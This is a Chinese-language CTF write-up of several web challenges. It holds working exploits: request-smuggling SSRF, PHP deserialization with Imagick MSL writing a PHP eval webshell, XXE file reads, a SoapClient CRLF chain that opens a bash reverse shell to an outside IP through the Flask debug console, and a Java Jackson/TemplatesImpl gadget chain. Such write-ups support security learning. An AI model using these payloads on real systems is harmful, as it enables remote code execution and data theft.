ezcheck1n

题目

1
2
3
4
5
6
7
8
9
10
/hint提示是

find the way to flag.Looks like there are two containers with an evil P in the configuration file of the frontend server

去寻找flag在哪

他看来有两个路由有P在配置文件中

nss的考点中有

后端是 Server: Apache/2.4.54 (Debian) 中间件是 Server: Apache/2.4.55 (Unix)

这就是题目提示的两个容器的意思

image-20230620194824661

但是试了一下 发现不行 就没往这方面想了 没想到的最后wp里还是用它

(就是在其基础上修改一下就行了)

image-20230620195107173

题目就是提示了这几点 post指的是post.jpeg 然后就会看到下面的这个2022

(就是当时想不明白这个url有啥用。。。。。。。)

这里的url是用来ssrf然后将flag带出到自己的vps监听端口上

payload

1
/2023/1%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/2022.php%3furl%3d101.42.39.110:3389%253fa%253d

这里的2022.php是猜出来的,因为题目给了是show_source(2023.php) 然后图片给的是2022,使用就是靠这里猜出来的

image-20230620201530382

image-20230620201513988

fumo_backdoor

题目

1
FUMO在你的网站上留下了后门 ᗜˬᗜ,她是怎么使用这个后门的捏? ᗜˬᗜ(flag 在 /flag)

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());

class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;

public function __sleep() {
if (
file_exists($this->path) &&
preg_match_all('/[flag]/m', $this->path) === 0
) {
readfile($this->path);
}
}

public function __wakeup() {
$func = $this->func;
if (
is_string($func) &&
in_array($func, FUNC_LIST["internal"])
) {
call_user_func($func);
} else {
$argv = $this->argv;
$class = $this->class;

new $class($argv);
}
}
}

$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
case 'unserialze':
unserialize($data);
break;

case 'rm':
system("rm -rf /tmp 2>/dev/null");
break;

default:
highlight_file(__FILE__);
break;
}

ini_set('open_basedir', __DIR__.":/tmp");

这里的代码将 open_basedir 配置选项设置为当前目录以及 /tmp 目录,因此 PHP 脚本只能访问当前目录和 /tmp 目录下的文件,无法访问其他目录。

这道题是根据这个题改的

https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md

https://www.snakin.top/2022/09/09/2022CISCN%E5%86%B3%E8%B5%9B/

这里的多一嘴来讲讲这个参考的这个backdoor ciscn决赛-2022-backdoor

稍微改了点,include变为了readdir,因此我们很难getshell。那就改变思路了。首先我们知道flag是在根目录的,但是由于open_basedir我们并没有权限去读取,因此我们需要配合imagick的msl语言特性,把flag读到/tmp目录下,然后再利用上述payload去触发__sleep,读取flag文件
首先我们需要用如下payload把flag移动到tmp目录下

先去触发phpinfo()

1
2
3
4
5
6
7
8
9
10
11
<?php

class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = "phpinfo";
public $class = null;

}
$a = new fumo_backdoor();
echo serialize($a);

image-20230621164501671

开启了imagick扩展

思路

  • 先进行临时文件上传 然后创建一个session_xxx文件,然后imagick初始化的时候会执行临时文件里的内容如何值就会赋给session_xxx文件

(这里会创建两个文件,一个用来存序列化的数据(这里的path必须是第二次session的名字),为了给path赋值,另一个是为了存flag)

  • 第二步还是进行临时文件上传 然后还是创建一个文件(必须和第一次不同名字) 内容是将flag移到该文件中 就是移到第二步设置的文件中
  • 第三步进行session_start()的开启 来触发第一次session的反序列化(为了设置path,反序列化结束后会接着会序列) 然后可以读取到flag了

因为这里的是公共容器,会容易被删除自己刚创建的session文件 所以需要python脚本

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import sys
import requests
import time

url = "http://47.99.77.113:18080/?cmd=unserialze"
# url = "http://127.0.0.1:18080/?cmd=unserialze"

def sleep():
time.sleep(1)

if(sys.argv[1] == "1"):
# rm
r = requests.get("http://47.99.77.113:18080/?cmd=rm")
print(r.text)
sleep()

# file write
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("lfi.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
sleep()
# file write
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("lfi.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
sleep()
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("hack.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
# print(r.text)

# session_start
sleep()
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}'}, headers={"Cookie":"PHPSESSID=tel"})
print(r.text)
# session_start
sleep()
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}'}, headers={"Cookie":"PHPSESSID=tel"})
print(r.text)

hack.xml

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjEzOiJmdW1vX2JhY2tkb29yIjozOntzOjQ6InBhdGgiO3M6OToiL3RtcC9GTEFHIjtzOjQ6ImFyZ3YiO047czoxOiJjIjtOO30=" />
<write filename="/tmp/sess_tel" />
</image>

image-20230621180951791

lfi.xml

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="app1:/flag" />
<write filename="/tmp/FLAG" />
</image>

image-20230621182457074

这里用那个mvg app1 uyvy 能直接读取flag

还有一种办法就是fuzz测试来测试哪种可以用来使用

pypyp?

提示/hint

a piece of cake but hard work。per 5 min restart.
pay attention to /app/app.py

image-20230621201841266

题目的页面就是这样

这里的话是先使用 PHP_SESSION_UPLOAD_PROGRESS (后面跟的是上传内容) 来强制session start

在使用 PHP_SESSION_UPLOAD_PROGRESS 时,如果 session 没有开启,系统会自动开启一个新的 session。

1
curl http://115.239.215.75:8081/ -H "Cookie: PHPSESSID=tel" -F 'PHP_SESSION_UPLOAD_PROGRESS=111'

image-20230621203954292

然后交给gpt就行了

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
if(!isset($_SESSION)){
die('Session not started');
}

highlight_file(__FILE__);

$type = $_SESSION['type'];
$properties = $_SESSION['properties'];

echo urlencode($_POST['data']);

extract(unserialize($_POST['data']));

if(is_string($properties) && unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object->sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0], $properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/' . $properties);
}

echo "this is the object: $object<br>";
?>
1
2
3
4
5
6
7
8
9
10
<!doctype html>
<html>
<body>
<form action="http://115.239.215.75:8081/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>

(这个来上传抓包 然后添加PHPSESSID=xxx也行)

这里的考点主要是靠原生类 ctfshow-愚人杯也考过这个考点

主要是有三个利用点

  • $object->sctf();
  • $object = new $type($properties[0], $properties[1]);
  • $object = file_get_contents(‘http://127.0.0.1:5000/‘ . $properties);

研究了一下,发现只有中间这个有用 并且类和参数都可控 用extract来控制

(由于题目说的/app/app.py,那么我们就得去用原生类来读取这个文件)

$object = new $type($properties[0], $properties[1]); 然后因为这里有两个参数 所以就得去找找既能读取文件,又是两个参数的原生类

image-20230621212254271

刚好找到了这个类 可以使用xxe来读取文件

1
2
3
4
5
6
<?php
$class = 'SimpleXMLElement';
$evilxml = '<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM "file:///etc/passwd">]><xxe>&file;</xxe>';
$arr = array('properties' => array($evilxml, '2'),'type'=>$class);
echo serialize($arr);

image-20230621222930826

然后去读题目给的/app/app.py

image-20230621223042971

1
2
3
4
5
6
7
8
app = Flask(__name__)

@app.route('/')
def index():
return 'Hello World!'

if __name__ == '__main__':
app.run(host="0.0.0.0",debug=True)

开了debug只有两条路 热覆盖 和 算pin

1
2
3
4
if(is_string($properties) && unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object->sctf();
exit();

这里注意一下 这里会调用call()方法

覆盖暂时没找到原生类的call方法可以覆盖写文件的,而有个原生类的call是经常用:SoapClient

可以用他的ssrf和crlf打组合拳,这样我们就可以把cookie塞

SoapClient在ctfshow的web259有详细使用 web259

接下来我们去看一下console

1
$object = file_get_contents('http://127.0.0.1:5000/' . $properties);

image-20230621233844882

猜测是算pin

那么我们就可以用上面的xxe来读取算pin所需要的东西

image-20230621234154080

所以这些得一个一个来获取

  • machine_id —> 349b3354-f67f-4438-b395-4fbc01171fdd
  • uuidnode ——> 02:42:ac:13:00:02 (2485378023426)
  • moddir flask库下app.py的绝对路径 但是这道题没给触发页面报错来获取信息 所以我们得使用别的原生类来模糊查找

(其实不用也行 可以猜一下 找到例题来看看他的moddir 然后修改一下python版本一下一下试就行了)

/usr/lib/python3.8/site-packages/flask/app.py 这是moddir

有了这些东西之后 我们就可以直接算pin了

算出来的pin 121-260-582

由于算pin来rce需要cookie的header 所以用常规的只会输出pin码 并不会输出cookie 所以得找一个脚本能两个同时生成的

image-20230622000408987

然后去通过soapclient去访问debug界面,由于debugmode的rce需要携带cookie,因此只有soapclient可以做到 (其实就是ssrf加crlf)

(简单点说就是伪造http头) 不明白的可以去看上面写的 web259的链接

1
2
3
4
5
6
7
8
9
10
11
<?php
$target = 'http://127.0.0.1:5000/console?&__debugger__=yes&cmd=__import__(%22os%22).popen(%22bash%20-c%20%5C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F101.42.39.110%2F3389%20%3C%261%5C%22%22)&frm=0&s=DhOJxtvMXCtezvKtqaK9';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: __wzdb2a60e2b19822632a67c=1687363437|11b8517fb9fb'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>"wupco\r\n".join("\r\n",$headers),'uri'=> "aaab"));
$arr=Array("properties"=>urlencode(serialize($b)),"type"=>"SimpleXMLElement");
$aaa = serialize($arr);
echo $aaa;
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST / HTTP/1.1
Host: 115.239.215.75:8081
Content-Length: 922
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt1mG5nxqspditAqy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=1nys
Connection: close

------WebKitFormBoundaryt1mG5nxqspditAqy
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

tyaoo
------WebKitFormBoundaryt1mG5nxqspditAqy
Content-Disposition: form-data; name="data"

a:2:{s:10:"properties";s:643:"O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A205%3A%22http%3A%2F%2F127.0.0.1%3A5000%2Fconsole%3F%26__debugger__%3Dyes%26cmd%3D__import__%28%2522os%2522%29.popen%28%2522bash%2520-c%2520%255C%2522bash%2520-i%2520%253E%2526%2520%252Fdev%252Ftcp%252F101.42.39.110%252F3389%2520%253C%25261%255C%2522%2522%29%26frm%3D0%26s%3DDhOJxtvMXCtezvKtqaK9%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A92%3A%22wupco%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+__wzdb2a60e2b19822632a67c%3D1687363437%7C11b8517fb9fb%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D";s:4:"type";s:16:"SimpleXMLElement";}

image-20230622004425446

这吊题真难

hellojava

题目就给了一个jar包 进行反编译查看

image-20230622195938811

这时jar包里的内容 还给了一个 1.jar 里面含有这个javassist 说明可以使用templatesimpl

image-20230622200111030

看了一下pom.xml

发现一共给了三种依赖

  • scala 2.13.7
  • jackson
  • hessian 4.0.4

一般来说就先对这个pom.xml的依赖进行分析 发现scala这个版本是存在漏洞的

image-20230622202022788

image-20230622202525933

找到了反序列化入口 那么关键点就是如何进入这个if判断了

image-20230622204854853

image-20230622204904698

这个东西要为true才行 但是如果简单的这样传值的话

{"IfInput":true,"base64Code":"AAAAAAAA"} 这样简单的传值的话是不行的

image-20230622205042591

关键词搜索 Jackson注解的一个trick 发现了这篇文章就是讲这个的

使用空值就可以进行绕过了

{"":true,"base64Code":"AAAAAAAA"}

接下来就到如何进行反序列化利用了

image-20230622205655871

结合这个LazyList东西和刚开始分析的scala漏洞的内容 可以猜测用这个反序列化来清空黑名单过滤

https://github.com/yarocher/lazylist-cve-poc 用这个代码 然后直接打就行了

mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="./security/blacklist.txt false" 生成 Base64 payload

image-20230622213852125

发包来打 将 security/blacklist.txt 清空

之后再使用 jackson 利用链,可以裸反序列化 RCE

image-20230622213955923

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
package org.example;

//import com.fasterxml.jackson.databind.node.POJONode;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;


import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;

public class poc {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "aaa");

byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setFieldValue(templates, "_bytecodes", bytecodes);
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
POJONode jsonNodes = new POJONode(templates);
BadAttributeValueExpException exp = new BadAttributeValueExpException(11);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);

System.out.println(serial(exp));
deserial(serial(exp));
//serial(exp);
//serialize(exp);
//unserialize("ser.bin");
}
// public static void doPOST(byte[] obj) throws Exception{
// HttpHeaders requestHeaders = new HttpHeaders();
// requestHeaders.set("Content-Type", "text/plain");
// URI url = new URI("http://112.124.14.13:8080/bypassit");
// HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);
//
// RestTemplate restTemplate = new RestTemplate();
// ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
// System.out.println(res.getBody());
// }

public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

(不知道为啥 这里我只能用这种形式的poc才能弹计算器 如果用xx.class这种形式的poc的话 是弹不出计算器的。。。。。。。)

这里注意的一点就是 新建项目的时候

image-20230624210123241**

得把BaseJsonNode里的这个东西给注释掉

不然会报错

这其实不是预期解

image-20230624210304228

预期解是打这个hessian这条链子

官方wp是这样说的

image-20230624210928869

an4er_monitor

描述

image-20230624212738790

没环境 看官方wp有个思路就行了